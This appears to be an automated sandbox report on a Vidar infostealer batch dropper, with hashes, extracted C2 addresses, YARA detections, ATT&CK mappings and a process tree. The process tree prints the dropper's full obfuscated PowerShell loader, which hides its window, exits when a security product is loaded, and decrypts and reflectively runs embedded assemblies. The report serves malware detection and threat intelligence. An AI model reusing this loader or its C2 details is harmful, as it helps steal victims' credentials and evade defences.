vidar | 163edbe86835ef07b9248ee9516b136be05d5b3fd60479bfa81e3375f44eacc9

General

Target

JpNzLWAgHF_MrAnon.bat
Size

5.3MB
MD5

19b5c87c0b9852349096678f5e282023
SHA1

4cb1080f90f68b65c8ebab9c2e7a8286640b3ac0
SHA256

163edbe86835ef07b9248ee9516b136be05d5b3fd60479bfa81e3375f44eacc9
SHA512

82d4e435057de7e938c7cee8695bc1e258b2352ae885c68f26a679c91793b16c353cc8440e706f4687c49990d3b936788acb253983c671ef09b1bb46bf90a4e4
SSDEEP

49152:Ik2uYNfkQHyggm5Xve+n8gJgxk5kWsqO+Cgs4e5NUZAICDucSsjHaz4Dl0vBKF:B

Score

10^/10

vidar discovery execution stealer

Malware Config

Extracted

Family

vidar

C2

https://t.me/edm0d

https://steamcommunity.com/profiles/

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0

Signatures

Detect Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral1/memory/4992-141-0x0000000000400000-0x0000000000657000-memory.dmp	family_vidar_v7
behavioral1/memory/4992-145-0x0000000000400000-0x0000000000657000-memory.dmp	family_vidar_v7
behavioral1/memory/4992-147-0x0000000000400000-0x0000000000657000-memory.dmp	family_vidar_v7

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4196	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4884 set thread context of 4992	4884	powershell.exe	77

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
4196	powershell.exe
4196	powershell.exe
4196	powershell.exe
4992	RegAsm.exe
4992	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4196	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4412 wrote to memory of 972	4412	cmd.exe	74
PID 4412 wrote to memory of 972	4412	cmd.exe	74
PID 4412 wrote to memory of 4884	4412	cmd.exe	75
PID 4412 wrote to memory of 4884	4412	cmd.exe	75
PID 4412 wrote to memory of 4884	4412	cmd.exe	75
PID 4884 wrote to memory of 4196	4884	powershell.exe	76
PID 4884 wrote to memory of 4196	4884	powershell.exe	76
PID 4884 wrote to memory of 4196	4884	powershell.exe	76
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77
PID 4884 wrote to memory of 4992	4884	powershell.exe	77

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHF_MrAnon.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHF_MrAnon.bat';$Fyln='SBaRNpliBaRNtBaRN'.Replace('BaRN', ''),'Invnedaonedakeneda'.Replace('neda', ''),'EboudnboudtboudryboudPboudoboudintboud'.Replace('boud', ''),'MaYSfCinMYSfCoYSfCdulYSfCeYSfC'.Replace('YSfC', ''),'LoadqVJddqVJ'.Replace('dqVJ', ''),'FgXzErgXzEogXzEmBgXzEagXzEsgXzEegXzE64SgXzEtgXzErigXzEnggXzE'.Replace('gXzE', ''),'CBCMXopBCMXyTBCMXoBCMX'.Replace('BCMX', ''),'ESmiJlSmiJeSmiJmenSmiJtAtSmiJ'.Replace('SmiJ', ''),'ChfjJLanfjJLgfjJLeExfjJLtfjJLenfjJLsifjJLonfjJL'.Replace('fjJL', ''),'GeyBtXtCyBtXuryBtXreyBtXntyBtXProyBtXceyBtXssyBtX'.Replace('yBtX', ''),'TrbTqfanbTqfsbTqfforbTqfmbTqfFinbTqfalbTqfBbTqflobTqfckbTqf'.Replace('bTqf', ''),'ReaACqRdACqRLiACqRneACqRsACqR'.Replace('ACqR', ''),'CredSdxadSdxtedSdxDedSdxcrdSdxypdSdxtdSdxordSdx'.Replace('dSdx', ''),'DCrPCeCrPCcomCrPCpreCrPCssCrPC'.Replace('CrPC', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($Fyln[9])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function NItLV($nzWJk){$DdoMy=[System.Security.Cryptography.Aes]::Create();$DdoMy.Mode=[System.Security.Cryptography.CipherMode]::CBC;$DdoMy.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$DdoMy.Key=[System.Convert]::($Fyln[5])('tRyGB5PdbiSqFo/ETUYwPoj7Pv8OlhuGCHsxSSDk/TM=');$DdoMy.IV=[System.Convert]::($Fyln[5])('zT33ctLvNUVazqPY5eMA9w==');$jTksN=$DdoMy.($Fyln[12])();$ttoWi=$jTksN.($Fyln[10])($nzWJk,0,$nzWJk.Length);$jTksN.Dispose();$DdoMy.Dispose();$ttoWi;}function EmQKv($nzWJk){$xudhB=New-Object System.IO.MemoryStream(,$nzWJk);$lXTBg=New-Object System.IO.MemoryStream;$MgRyv=New-Object System.IO.Compression.GZipStream($xudhB,[IO.Compression.CompressionMode]::($Fyln[13]));$MgRyv.($Fyln[6])($lXTBg);$MgRyv.Dispose();$xudhB.Dispose();$lXTBg.Dispose();$lXTBg.ToArray();}$pYQiu=[System.IO.File]::($Fyln[11])([Console]::Title);$mhlnF=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 5).Substring(2))));$GMHtR=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 6).Substring(2))));[System.Reflection.Assembly]::($Fyln[4])([byte[]]$GMHtR).($Fyln[2]).($Fyln[1])($null,$null);[System.Reflection.Assembly]::($Fyln[4])([byte[]]$mhlnF).($Fyln[2]).($Fyln[1])($null,$null); "
  2⤵
  PID:972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4196
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
9cfc7a98b758174d91a40515a37ef935

SHA1
ccd0eff396f99a725c697990544c345256a36215

SHA256
8385a9299312f77a2ced3780086eeeb82f9aa7ab0080d6a26235e09f066ec26e

SHA512
0a11eb0d96f5669c2e2bed54bbca25395b9d1749384e452fd2e97ca4457d8d04f58d764839fcba56eb5e081844d11f455a9d1342a086c21318300ebe93987001

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
7c38ddcda79080994f5af61cc6aaf505

SHA1
7ffbb890bbdee0e71027dbded68c0e239ee2841e

SHA256
e5f1fe3b4783d3c84a8044cd39d551a32eebc136f96b56351cd492eb15e923ca

SHA512
50be031f85de49c6bc4545da7f57e3897e968c9d3b2b89040347d772cb695441616906f4a52fbf30e918f4f3bc53edddd417b3241b372ecca084fd8718393f4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_at3oqyu2.n1a.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/4196-121-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4196-119-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4196-66-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4196-65-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4196-64-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-10-0x0000000007A90000-0x0000000007AAC000-memory.dmp

Filesize
112KB

Download
memory/4884-129-0x000000000FFF0000-0x0000000010668000-memory.dmp

Filesize
6.5MB

Download
memory/4884-0-0x000000007341E000-0x000000007341F000-memory.dmp

Filesize
4KB

Download
memory/4884-30-0x0000000007F50000-0x0000000007F8C000-memory.dmp

Filesize
240KB

Download
memory/4884-61-0x0000000008B30000-0x0000000008BA6000-memory.dmp

Filesize
472KB

Download
memory/4884-9-0x00000000076C0000-0x0000000007A10000-memory.dmp

Filesize
3.3MB

Download
memory/4884-8-0x0000000007600000-0x0000000007666000-memory.dmp

Filesize
408KB

Download
memory/4884-7-0x0000000007590000-0x00000000075F6000-memory.dmp

Filesize
408KB

Download
memory/4884-6-0x0000000007310000-0x0000000007332000-memory.dmp

Filesize
136KB

Download
memory/4884-5-0x0000000006CB0000-0x00000000072D8000-memory.dmp

Filesize
6.2MB

Download
memory/4884-123-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-122-0x000000007341E000-0x000000007341F000-memory.dmp

Filesize
4KB

Download
memory/4884-124-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-11-0x0000000007AC0000-0x0000000007B0B000-memory.dmp

Filesize
300KB

Download
memory/4884-130-0x000000000F940000-0x000000000F95A000-memory.dmp

Filesize
104KB

Download
memory/4884-131-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-132-0x0000000006900000-0x000000000690A000-memory.dmp

Filesize
40KB

Download
memory/4884-134-0x0000000017670000-0x0000000017A70000-memory.dmp

Filesize
4.0MB

Download
memory/4884-135-0x0000000019A70000-0x0000000019F7E000-memory.dmp

Filesize
5.1MB

Download
memory/4884-140-0x000000000B790000-0x000000000B79A000-memory.dmp

Filesize
40KB

Download
memory/4884-151-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-4-0x0000000073410000-0x0000000073AFE000-memory.dmp

Filesize
6.9MB

Download
memory/4884-3-0x0000000006600000-0x0000000006636000-memory.dmp

Filesize
216KB

Download
memory/4992-145-0x0000000000400000-0x0000000000657000-memory.dmp

Filesize
2.3MB

Download
memory/4992-147-0x0000000000400000-0x0000000000657000-memory.dmp

Filesize
2.3MB

Download
memory/4992-141-0x0000000000400000-0x0000000000657000-memory.dmp

Filesize
2.3MB

Download

Analysis

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